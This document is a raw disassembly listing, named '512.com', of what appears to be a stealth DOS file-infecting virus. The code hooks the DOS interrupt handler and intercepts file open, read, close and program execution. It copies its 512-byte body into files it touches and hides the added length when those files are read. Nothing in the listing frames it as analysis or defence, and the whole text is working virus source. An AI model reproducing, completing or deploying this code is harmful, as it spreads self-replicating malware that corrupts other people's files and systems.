;PROGRAM NAME:      512.com
;-------------------------------------------------
H00100: MOV    AH,30h
        INT    21h             ;DOS Version#
        MOV    SI,0004h
        MOV    DS,SI           ;SEGMENT OPERATION
        CMP    Byte Ptr AH,1Eh
        LDS    AX,[SI+08h]
        JB     H0011B          ; . . . . . . . . .
        MOV    AH,13h
        INT    2Fh             ;Print Spooler Ctrl
        PUSH   DS              ;SEGMENT OPERATION
        PUSH   DX
        INT    2Fh             ;Print Spooler Ctrl
        POP    AX
        POP    DS              ;SEGMENT OPERATION
H0011B: MOV    DI,00F8h
        STOSW  
        MOV    AX,DS
        STOSW  
        MOV    DS,SI           ;SEGMENT OPERATION
        LDS    AX,[SI+40h]
        STOSW  
        CMP    AX,0121h
        MOV    AX,DS
        STOSW  
        PUSH   ES              ;SEGMENT OPERATION
        PUSH   DI
        JNZ    H00139          ; . . . . . . . . .
        SHL    Word Ptr SI,1
        MOV    CX,0100h
        REPZ   
        CMPSW  
H00139: PUSH   CS              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
        JZ     H00187          ; . . . . . . . . .
        MOV    AH,52h
        INT    21h             ;INDEF FUNCTION
        PUSH   ES              ;SEGMENT OPERATION
        MOV    SI,00F8h
        SUB    DI,DI
        LES    AX,ES:[BX+12h]
        MOV    DX,ES:[DI+02h]
        MOV    CX,0104h
        REPZ   
        MOVSW  
        MOV    DS,CX           ;SEGMENT OPERATION
        MOV    DI,0016h
        MOV    Word Ptr [DI+6E],0121h
        MOV    [DI+70h],ES
        POP    DS              ;SEGMENT OPERATION
        MOV    [BX+14h],DX
        MOV    DX,CS
        MOV    DS,DX           ;SEGMENT OPERATION
        MOV    BX,[DI-14h]
        DEC    Byte Ptr BH
        MOV    ES,BX           ;SEGMENT OPERATION
        CMP    DX,[DI]
        MOV    DS,[DI]         ;SEGMENT OPERATION
        MOV    DX,[DI]
        DEC    DX
        MOV    DS,DX           ;SEGMENT OPERATION
        MOV    SI,CX
        MOV    DX,DI
        MOV    CL,08h
        REPZ   
        MOVSW  
        MOV    DS,BX           ;SEGMENT OPERATION
        JB     H00197          ; . . . . . . . . .
        INT    20h             ;TERMINATE normally
;-------------------------------------------------
H00187: MOV    SI,CX
        MOV    DS,[SI+2Ch]     ;SEGMENT OPERATION
H0018C: LODSW                  ; . . . . . . . . .
        DEC    SI
        TEST   AX,AX
        JNZ    H0018C          ; . . . . . . . . .
        ADD    Word Ptr SI,+03h
        MOV    DX,SI
H00197: MOV    AH,3Dh
        CALL   H001B0          ; . . . . . . . . .
        MOV    DX,[DI]
        MOV    [DI+04h],DX
        ADD    [DI],CX
        POP    DX
        PUSH   DX
        PUSH   CS              ;SEGMENT OPERATION
        POP    ES              ;SEGMENT OPERATION
        PUSH   CS              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
        PUSH   DS              ;SEGMENT OPERATION
        MOV    AL,50h
        PUSH   AX
        MOV    AH,3Fh
        RETF   
;-------------------------------------------------
H001B0: INT    21h             ;INDEF FUNCTION
        JB     H001CD          ; . . . . . . . . .
        MOV    BX,AX
H001B6: PUSH   BX
        MOV    AX,1220h
        INT    2Fh             ;Print Spooler Ctrl
        MOV    BL,ES:[DI]
        MOV    AX,1216h
        INT    2Fh             ;Print Spooler Ctrl
        POP    BX
        PUSH   ES              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
        ADD    Word Ptr DI,+11h
        MOV    CX,0200h
H001CD: RET    
;-------------------------------------------------
H001CE: STI    
        PUSH   ES              ;SEGMENT OPERATION
        PUSH   SI
        PUSH   DI
        PUSH   BP
        PUSH   DS              ;SEGMENT OPERATION
        PUSH   CX
        CALL   H001B6          ; . . . . . . . . .
        MOV    BP,CX
        MOV    SI,[DI+04h]
        POP    CX
        POP    DS              ;SEGMENT OPERATION
        CALL   H00211          ; . . . . . . . . .
        JB     H0020A          ; . . . . . . . . .
        CMP    SI,BP
        JNB    H0020A          ; . . . . . . . . .
        PUSH   AX
        MOV    AL,ES:[DI-04h]
        NOT    Byte Ptr AL 
        AND    AL,1Fh
        JNZ    H00209          ; . . . . . . . . .
        ADD    SI,ES:[DI]
        XCHG   SI,ES:[DI+04h]
        ADD    ES:[DI],BP      ;SEGMENT OPERATION
        CALL   H00211          ; . . . . . . . . .
        MOV    ES:[DI+04h],SI  ;SEGMENT OPERATION
        LAHF   
        SUB    ES:[DI],BP      ;SEGMENT OPERATION
        SAHF   
H00209: POP    AX
H0020A: POP    BP
        POP    DI
        POP    SI
        POP    ES              ;SEGMENT OPERATION
        RETF   0002h
;-------------------------------------------------
H00211: MOV    AH,3Fh
H00213: PUSHF  
        PUSH   CS              ;SEGMENT OPERATION
        CALL   H0023A          ; . . . . . . . . .
        RET    
;-------------------------------------------------
        CMP    Byte Ptr AH,3Fh
        JZ     H001CE          ; . . . . . . . . .
        PUSH   DS              ;SEGMENT OPERATION
        PUSH   ES              ;SEGMENT OPERATION
        PUSH   AX
        PUSH   BX
        PUSH   CX
        PUSH   DX
        PUSH   SI
        PUSH   DI
        CMP    Byte Ptr AH,3Eh
        JZ     H0023F          ; . . . . . . . . .
        CMP    AX,4B00h
        MOV    AH,3Dh
        JZ     H00241          ; . . . . . . . . .
H00232: POP    DI
        POP    SI
        POP    DX
        POP    CX
        POP    BX
        POP    AX
        POP    ES              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
H0023A: JMP    Far CS:[H00004h]
;-------------------------------------------------
H0023F: MOV    AH,45h
H00241: CALL   H001B0          ; . . . . . . . . .
        JB     H00232          ; . . . . . . . . .
        SUB    AX,AX
        MOV    [DI+04h],AX
        MOV    Byte Ptr [DI-0Fh],02h
        CLD    
        MOV    DS,AX           ;SEGMENT OPERATION
        MOV    SI,004Ch
        LODSW                  ; . . . . . . . . .
        PUSH   AX
        LODSW                  ; . . . . . . . . .
        PUSH   AX
        PUSH   [SI+40h]
        PUSH   [SI+42h]
        LDS    DX,CS:[SI-50h]
        MOV    AX,2513h
        INT    21h             ;Set Intrpt Vector
        PUSH   CS              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
        MOV    DX,0204h
        MOV    AL,24h
        INT    21h             ;Write Random Rcds
        PUSH   ES              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
        MOV    AL,[DI-04h]
        AND    AL,1Fh
        CMP    AL,1Fh
        JZ     H00284          ; . . . . . . . . .
        MOV    AX,[DI+17h]
        SUB    AX,4F43h
        JNZ    H002C3          ; . . . . . . . . .
H00284: XOR    [DI-04h],AL
        MOV    AX,[DI]
        CMP    AX,CX
        JB     H002C3          ; . . . . . . . . .
        ADD    AX,CX
        JB     H002C3          ; . . . . . . . . .
        TEST   Byte Ptr [DI-0Dh],04h
        JNZ    H002C3          ; . . . . . . . . .
        LDS    SI,[DI-0Ah]
        DEC    AX
        SHR    Byte Ptr AH,1
        AND    AH,[SI+04h]
        JZ     H002C3          ; . . . . . . . . .
        MOV    AX,0020h
        MOV    DS,AX           ;SEGMENT OPERATION
        SUB    DX,DX
        CALL   H00211          ; . . . . . . . . .
        MOV    SI,DX
        PUSH   CX
H002AF: LODSB                  ; . . . . . . . . .
        CMP    AL,CS:[SI+07h]
        JNZ    H002DD          ; . . . . . . . . .
        LOOP   H002AF          ; . . . . . . . . .
        POP    CX
H002B9: OR     Byte Ptr ES:[DI-04h],1Fh
H002BE: OR     Byte Ptr ES:[DI-0Bh],40h
H002C3: MOV    AH,3Eh
        CALL   H00213          ; . . . . . . . . .
        OR     Byte Ptr ES:[DI-0Ch],40h
        POP    DS              ;SEGMENT OPERATION
        POP    DX
        MOV    AX,2524h
        INT    21h             ;Set Intrpt Vector
        POP    DS              ;SEGMENT OPERATION
        POP    DX
        MOV    AL,13h
        INT    21h             ;Write Random Rcds
        JMP    H00232
;-------------------------------------------------
H002DD: POP    CX
        MOV    SI,ES:[DI]
        MOV    ES:[DI+04h],SI  ;SEGMENT OPERATION
        MOV    AH,40h
        INT    21h             ;Write File/Device
        JB     H002BE          ; . . . . . . . . .
        MOV    ES:[DI],SI      ;SEGMENT OPERATION
        MOV    ES:[DI+04h],DX  ;SEGMENT OPERATION
        PUSH   CS              ;SEGMENT OPERATION
        POP    DS              ;SEGMENT OPERATION
        MOV    DL,08h
        MOV    AH,40h
        INT    21h             ;Write File/Device
        JMP    Short H002B9
;-------------------------------------------------
        IRET   
;-------------------------------------------------
        ADD    SS:[BX+SI],AL   ;SEGMENT OPERATION